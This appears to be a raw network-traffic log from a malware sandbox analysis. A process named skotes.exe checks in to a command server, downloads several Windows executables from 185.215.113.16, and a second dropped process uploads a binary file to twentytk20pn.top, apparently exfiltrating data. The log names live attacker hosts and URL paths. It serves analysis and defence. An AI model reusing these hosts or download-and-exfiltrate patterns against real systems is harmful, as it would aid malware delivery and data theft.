Dec 19, 2024 08:09:58.593086004 CET	2472	OUT	Data Raw: d1 1f a6 f9 38 9d 73 85 3e 80 86 d9 d1 75 57 73 2a ef 28 db 88 30 88 e4 5a bf da fc 55 df 04 d0 1f ef 18 21 f2 02 14 34 eb 99 b7 15 03 95 d5 15 02 8a fd ce c0 04 a3 1a 9e 9f 00 3c 28 4e 1d 9f a4 bc bb 60 96 75 68 d6 19 06 22 3b 87 c8 b4 cf 6e ee Data Ascii: 8s>uWs(0ZU!4<(N`uh";nIW&p_0~wM];!F3=F*{CfVS'%;}h6WIdPIEh`3}C/)\|gg2v/eWg[sa7-HBPz\|$
Dec 19, 2024 08:09:58.593121052 CET	2472	OUT	Data Raw: 9b da 50 a9 58 89 54 83 f7 2d 74 7a d4 2d d7 05 19 7c 6e a5 7c 14 b0 e7 6f 5e ed 1b c3 43 95 37 f6 4a f6 0e f0 c6 fb 66 5a 06 89 a0 86 34 8d 6f fe fc 13 ce ce d3 ae b2 91 8b d2 72 5d 3f 77 84 4c 08 d4 84 15 23 84 a9 dc 08 9e 45 4f 37 4f 5a 98 a7 Data Ascii: PXT-tz-\|n\|o^C7JfZ4or]?wL#EO7OZkT:]W:)DC4N&#[},oA)d9:x45gP7n,P*d(:PZ~eMyk<T%R,ns]4?$MT/M8IL=
Dec 19, 2024 08:09:58.593194962 CET	4944	OUT	Data Raw: f1 23 77 a2 a0 6d bc 3f 56 13 ba d1 0b 2c 71 d4 d1 c7 eb 25 25 f1 27 3a 99 0c c2 c4 40 90 46 9b 42 ca ba b5 98 07 30 9d 90 86 c4 e8 24 71 de 8d 13 07 e4 4c 51 22 27 76 e0 07 d9 e2 8e 64 9d 54 49 06 53 fe 28 ac 26 43 8e c5 a2 93 2f fc 41 c3 56 be Data Ascii: #wm?V,q%%':@FB0$qLQ"'vdTIS(&C/AVqexIa-_7}*x^^yD+z~m`j?oWU#By7k"Sk(vpQ4X.E\j\|R}c%}0C
Dec 19, 2024 08:09:58.593255997 CET	2472	OUT	Data Raw: 15 2b 1d 5b a6 4b 7a ba b8 d6 9e ed b5 44 67 f7 61 a9 bc 2b 97 f0 39 1f 80 e1 0f 5c c6 95 56 2b 01 e8 2e 95 9a 10 a4 e4 5f 83 27 2f 67 7f 45 76 d6 b2 34 1d 17 0a 9e 01 90 7a d0 99 e0 3d a8 22 4d af 24 90 36 bf 63 d5 59 98 96 da 61 5a b6 40 0c f2 Data Ascii: +[KzDga+9\V+._'/gEv4z="M$6cYaZ@{FS`Isw5?X-; /(;o0:BBb(rsM0F{\|oqmY#G/YVdA$V{3=gi,G0bsG~
Dec 19, 2024 08:09:58.593327999 CET	2472	OUT	Data Raw: 13 73 92 b7 df 83 bb 65 cd 42 82 3e f9 69 ae 02 af 96 aa 8c ff 13 f4 03 6e 22 d5 69 a3 6d c5 64 55 46 2e 7b cf 43 c0 83 b8 db 98 72 94 1a 0f 13 f7 de 84 71 6c 63 8c 3e 09 21 28 5d b4 aa 69 9c a4 e1 7d 35 0d 8e 84 e3 83 1d 99 10 19 4a 50 09 1c ff Data Ascii: seB>in"imdUF.{Crqlc>!(]i}5JP&Lwp$hH~D_0(SQA]*W-"?r!j~sGZ:6,.oeKHQ&y%,0}rK}M$nB>NJ
Dec 19, 2024 08:09:58.593365908 CET	4944	OUT	Data Raw: a2 7a ba f6 9f c1 c1 3d 99 13 36 01 bc f0 36 12 3c b4 7d 81 ff 14 98 7e af 36 0b 48 b8 e5 6e 23 75 8b 38 94 76 f0 00 29 4f de ed ed e6 af 2a 15 89 c6 5a 20 6e ac cb 72 29 14 be fb b7 08 cb 34 37 7f c7 d1 5a 0d 67 27 92 aa 39 d2 09 df 88 ee 2e 87 Data Ascii: z=66<}~6Hn#u8v)O*Z nr)47Zg'9.LiJ$qIUg&!L7!:S=/!2iKvPsL2Q(6^E!{p,0')&PE9~CwXX) 2@Oo{AotFEPH>Boc
Dec 19, 2024 08:09:58.712934017 CET	2472	OUT	Data Raw: 88 d1 db d9 f3 43 e8 ae 6d 0c 04 7f cd 91 7e a9 5b 6d de dc dd 7a f7 60 54 33 40 c4 88 88 78 67 0d f6 c3 d3 b8 06 e4 c7 0a 77 4c 1f 5c 60 bb cf 0b 76 0b 6b af f6 c4 3c c9 b3 99 19 b8 24 75 1e 12 60 57 ce 4e 63 5e bb b7 be ea 3e af 06 49 76 d5 0b Data Ascii: Cm~[mz`T3@xgwL\`vk<$u`WNc^>Iv^/g69dZ7:^&#c$QmDZE~D,PyDal9T.Pi/gw\|*5tUY2O7V?\}4#5XD)zdA)n
Dec 19, 2024 08:09:58.712953091 CET	1236	OUT	Data Raw: f3 87 e6 31 96 c0 e3 eb 2c 5a f6 6b db e7 7e 64 3e bf e2 05 80 4a 67 06 44 11 2e 0c df 22 4f ce b6 2f d4 14 36 ca b3 89 3b e7 7b 66 21 81 ce fb b9 b5 ca 2e 80 db 07 14 84 35 21 19 28 54 d0 bf b2 ef 1d c7 2c ea 20 53 3a 74 a2 9a df 3f c6 5e b4 ca Data Ascii: 1,Zk~d>JgD."O/6;{f!.5!(T, S:t?^CLM6]hVqP/41Y cwqGl K&Rmg'BoCln2:a]U:{*OdRpix3^RQIcC&)t!>`6j[8g?t
Dec 19, 2024 08:09:58.712960958 CET	3708	OUT	Data Raw: f9 54 e8 02 f2 30 9d 1f 27 ad b0 79 b9 8a d1 0a c4 29 e3 b7 7c 8a ad a7 c0 9c 1a 51 93 2d 75 c8 43 d3 95 40 b7 b8 19 c3 09 c4 7a 60 47 74 43 93 ab 27 4d 18 4d 9c c9 c5 f4 51 6c 70 dc 98 d5 13 89 d2 26 70 95 a1 40 18 ee c3 c2 03 e0 5f ed bd 20 23 Data Ascii: T0'y)\|Q-uC@z`GtC'MMQlp&p@_ #X&@hRwo?%>lwWaTb+^Z;r`G1~%HA}nIN X2;RC,xxy}Y[dQQrM\|sIkTDJEn
Dec 19, 2024 08:10:00.375837088 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 07:10:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 16 X-RateLimit-Reset: 1734593215 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49968	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:03.426285028 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017427001&unit=246122658369
Dec 19, 2024 08:10:04.820327044 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49981	185.215.113.16	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:05.007966042 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 19, 2024 08:10:06.344907045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:05 GMT Content-Type: application/octet-stream Content-Length: 1733632 Last-Modified: Thu, 19 Dec 2024 06:18:45 GMT Connection: keep-alive ETag: "6763bac5-1a7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$E `@ @EH`Ui`D @ @.rsrcD`2@.idata 6@ 8@pwjairst :@lcewkiss DL@.taggant@E"R@
Dec 19, 2024 08:10:06.344924927 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:06.345036983 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:06.345057011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:06.345067978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:06.345079899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:06.345228910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:06.345240116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:06.345251083 CET	1236	IN	Data Raw: 83 f2 d9 b3 32 ee ee c5 c2 d3 74 ef 8c 7a 12 85 f8 bb f1 49 1e 74 fc d1 ea 9f be ee 69 3d a1 1f 29 a7 c9 d2 e8 36 db 12 b8 2e a1 2f ab 9b d9 d0 00 73 ee ae f3 d9 04 14 6f b8 3b a4 ef 81 2e 1a 93 2f f2 db 73 e2 db 6b 2d 71 73 e3 71 5c ee 6a 10 f1 Data Ascii: 2tzIti=)6./so;./sk-qsq\jvhDNAA G;B^(H8!R,@!:c\|4Oj2R6od</f;C}=4<T\]CD.3)<('f9}n+hm.v
Dec 19, 2024 08:10:06.345257998 CET	1236	IN	Data Raw: 0b 64 dc 70 20 f9 e3 d9 30 32 e0 f9 38 31 d6 d9 bf 54 e3 e5 28 55 ec f5 0d 50 6d 80 1e f1 af d3 68 e3 d2 78 6b e8 14 a8 26 c9 ef 80 f0 b0 bb c6 18 70 9a 80 a6 85 9c e2 24 8f f0 df 9c 60 e0 5d e9 56 de ea da 72 ca eb ea 51 fe 38 3f a4 d6 a4 32 5f Data Ascii: dp 0281T(UPmhxk&p$`]VrQ8?2_$Xkb5t2<d/w)+SO"Oav>MD7RfNE]"%$i#ODgF>w
Dec 19, 2024 08:10:06.464787006 CET	1236	IN	Data Raw: dc b9 d4 b2 3b a8 20 a7 ba 1b 7b eb 0f 4c fa 77 50 2b 88 d1 7c 1f d2 d9 9f 11 2f d7 43 2a 0e 22 ca 5e e6 d3 76 d7 5f 52 c4 d9 f1 95 42 b7 a3 d9 0b 03 44 83 48 32 35 71 c5 19 01 19 bd 37 85 ad c9 e0 c4 1f 68 39 d4 55 8b 46 4f 14 78 4b 82 bd 9e 2a Data Ascii: ; {LwP+\|/C"^v_RBDH25q7h9UFOxKB]*zD}?5C<7m#dK]#?6: &n8$k&/a=/O(^W>L`?(=OV;%1C( ek

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49988	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:06.941107988 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:10:08.269964933 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:07 GMT Content-Type: application/octet-stream Content-Length: 1733632 Last-Modified: Thu, 19 Dec 2024 06:18:47 GMT Connection: keep-alive ETag: "6763bac7-1a7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$E `@ @EH`Ui`D @ @.rsrcD`2@.idata 6@ 8@pwjairst :@lcewkiss DL@.taggant@E"R@
Dec 19, 2024 08:10:08.269985914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:08.269996881 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:08.270100117 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:08.270111084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:08.270128012 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:08.270138979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:08.270153046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:08.270387888 CET	1236	IN	Data Raw: 3a d7 d6 45 02 76 36 5e 40 54 5c 46 32 65 ff 2e e9 76 33 be a0 41 a5 5e 40 54 5c b4 33 69 ff 5e ed 76 d9 d9 13 a5 7f d6 62 29 e0 66 4d 5c 61 f8 32 6d ca 5f 90 76 69 d6 46 83 d2 af 88 68 86 ab 25 af dc de cd 40 5d 26 12 4b d7 20 f3 4f 80 52 e3 71 Data Ascii: :Ev6^@T\F2e.v3A^@T\3i^vb)fM\a2m_viFh%@]&K ORq#3[7)s!t_UeOoh)ZD\|2b\|%U6$klA{2Nz$ a`'+~Z]Pz>sHgfU(2sI.f(0(2d&'oC&SjeR
Dec 19, 2024 08:10:08.270401955 CET	1236	IN	Data Raw: 7b 67 39 e5 56 59 aa d7 ba 39 ea 0c dc 3c 54 3a 8b 23 04 ed c2 b3 0e ab f8 24 eb 4f 3a 91 9b 7c 2b 87 50 6e 26 ff 95 74 42 f5 2c 0e 05 08 f3 ad 93 d3 9d 11 e8 d8 f4 af d3 74 62 07 36 3b 62 80 d1 8c 47 90 35 e0 02 6c 71 35 e4 28 18 f5 9d d9 01 8c Data Ascii: {g9VY9<T:#$O:\|+Pn&tB,tb6;bG5lq5(E!?B'k22+S~sPDi&IgZ]'Y<7Q;Fq*M51'/$A'1[/Z1"8&
Dec 19, 2024 08:10:08.389663935 CET	1236	IN	Data Raw: 03 fb f1 61 bd 5b 87 08 fa 1b e7 fa ee 7b bc db 22 cc 79 bc f3 77 b2 e7 fc 06 fa 6f d1 3b 00 c0 39 04 aa d4 df 1f 2f 1b 0a 2a 0e f1 e8 b6 5b 1a ff 51 b7 3e c5 10 99 17 08 2f 9b 10 ba ae 6f f1 1d a0 16 78 dd ca 14 e7 bd df 11 3a 02 13 7b e2 c7 1f Data Ascii: a[{"ywo;9/[Q>/ox:{R3\X^_N!1Z>E~oYiZ0`;T#U;~BM \|D(o@cLiv"#!k8K '8xklAG`;8D)jnb
Dec 19, 2024 08:10:11.449726105 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:10:11.894409895 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:11 GMT Content-Type: application/octet-stream Content-Length: 2869248 Last-Modified: Thu, 19 Dec 2024 06:20:24 GMT Connection: keep-alive ETag: "6763bb28-2bc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@0Oj&,@M$a$$ $h@.rsrc$x@.idata $z@oiorywlp0$&\|@yzgbcaqsN+@.taggant0O"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49989	194.87.47.113	80	5984	C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:07.074877977 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 30412 Content-Type: multipart/form-data; boundary=------------------------DQVDW3reXStyJstPg8GODE Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 44 51 56 44 57 33 72 65 58 53 74 79 4a 73 74 50 67 38 47 4f 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 65 63 75 76 65 67 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ab 27 f1 70 7e 1b 8f c9 b1 60 e0 d5 b9 21 2b fa 92 d9 dd d6 d6 b6 2e fd f9 cd ca 30 56 19 71 d4 76 35 7a 9e 7a f1 eb 17 e0 65 ac ac 37 78 79 02 49 2c 97 a3 8d b0 0f f1 cd 62 4e 5d cf 7c 25 41 bf 79 7e f2 97 0e 84 63 62 81 ae 42 7d 64 a2 98 52 04 c2 1f cf 21 c7 08 15 7d 9f 37 a7 b9 43 33 d3 81 d9 38 a6 21 6a bc d7 2a e3 fa 8e 36 8c 89 4f 76 6b 76 e1 7a 08 3c 0a 4a 5e fd 3c c3 d8 7f 22 ec 64 ce db 79 2e 63 2e 13 4b a4 18 5d 21 52 de e8 84 00 9e 96 ba 8b 8a c0 a0 d7 86 79 b1 e7 5e 16 ff bd 1b 6e 88 79 a4 2c 28 f9 e1 f1 ab 01 [TRUNCATED] Data Ascii: --------------------------DQVDW3reXStyJstPg8GODEContent-Disposition: form-data; name="file"; filename="Hecuvegu.bin"Content-Type: application/octet-stream'p~`!+.0Vqv5zze7xyI,bN]\|%Ay~cbB}dR!}7C38!j6Ovkvz<J^<"dy.c.K]!Ry^ny,(twc8%t`:s\|C>MZ"%hG\>LD2'=MaL\|uOI%^{i"\|N-erGDO5DO2C~:ft=sM2fv%qKGm[OI~HGeS=TWzgIl^$sIPY{4jv:}-nOGf:}}R>L+,Q0>WT@CJ-hL^{wdPG!\(8>{4k/A~xthZ-Y;l"HUmE,HDhoxIA>jwMK*7QwbdvX-C5W6<h]P(Ste9TGH.iZgiRlS@9KVJDa1/Key4?feN:`5OE3@8@bg~B"\+z)7Q!Bf7kwZ [TRUNCATED]
Dec 19, 2024 08:10:07.194545031 CET	7416	OUT	Data Raw: 9d c9 52 c3 47 ae 85 1e 93 31 cf 54 a2 13 2d 81 aa ba bb 8b 99 5f 5a 28 5a 81 e5 c1 36 63 de 63 33 1d b4 f2 48 49 6f 43 23 91 52 a4 29 65 a2 ff 73 05 76 c0 ba 0e 66 15 aa 1e 5c e2 ad 51 ab 21 f2 e4 08 d5 cd b4 a8 d3 21 41 e1 24 cb 3f ba 25 42 47 Data Ascii: RG1T-_Z(Z6cc3HIoC#R)esvf\Q!!A$?%BGY& kB@(>T+Y<Kls\|j>6)4P[Th4MVzLN8eM>=4eR4q\|p%l$e_}'Jkp
Dec 19, 2024 08:10:07.194571972 CET	2472	OUT	Data Raw: 92 9b 5e 1c 8e 4b c5 98 2e 65 fb d6 bd 3b 8e 0e fa a2 ce 18 17 33 1a 83 85 bc 49 e9 a9 12 ba 84 0f 3b 09 9f ae 97 8b c8 31 f6 8d 65 f6 71 bc e3 06 1f af b6 c0 14 9a ae 8e 86 df 60 bc 12 cd 00 06 83 c1 62 31 8c d4 30 5e 9f e8 7a 20 24 37 4b 97 2c Data Ascii: ^K.e;3I;1eq`b10^z $7K,%B% dzi/]$#m#(ug4;w>cK5{cG8YlcKNJJqk5zQ1v8RQIAP\3)-"e_
Dec 19, 2024 08:10:07.194653034 CET	4944	OUT	Data Raw: df 1d 82 d3 4b 42 ed 64 c6 d5 ac 57 ea 33 c5 c8 35 9c dd 37 74 73 b7 df 0c 57 23 5f 8a 4b 9e a0 c2 c1 38 aa bd d0 24 a6 a6 28 a0 4b 54 e0 9b 5e 9b a3 5f be 4f 3c 1a c1 22 a1 f8 83 94 ea 04 a9 60 d7 3e 1a 33 84 46 7c 03 e4 7c 51 96 46 c7 db 40 dc Data Ascii: KBdW357tsW#_K8$(KT^_O<"`>3F\|\|QF@EcX<c'3rbB`Ae]H_Ku7F<kA^tv?!?L=lt6>[9ct/NMJS=kvU~n?i"
Dec 19, 2024 08:10:07.194698095 CET	2472	OUT	Data Raw: e9 1b a2 f3 aa f6 63 6a 47 18 08 f4 86 de 67 cd d3 1a 54 e5 dc ce 01 be fd b2 c8 49 50 b9 08 2f 00 41 6c 99 5b 18 29 24 72 aa 6d 87 04 2f 53 87 76 0f 5d 30 fe 74 b2 4f 90 96 09 2a 75 5a c6 04 ca 55 73 7d 90 1f b7 24 09 bf f5 7e db 6d 71 e6 84 15 Data Ascii: cjGgTIP/Al[)$rm/Sv]0tOuZUs}$~mq!?Su}Y;0O)_jwYk8#%\|\`bs'<V.%2m-N.vg.QkX<D)AEEeW?D,
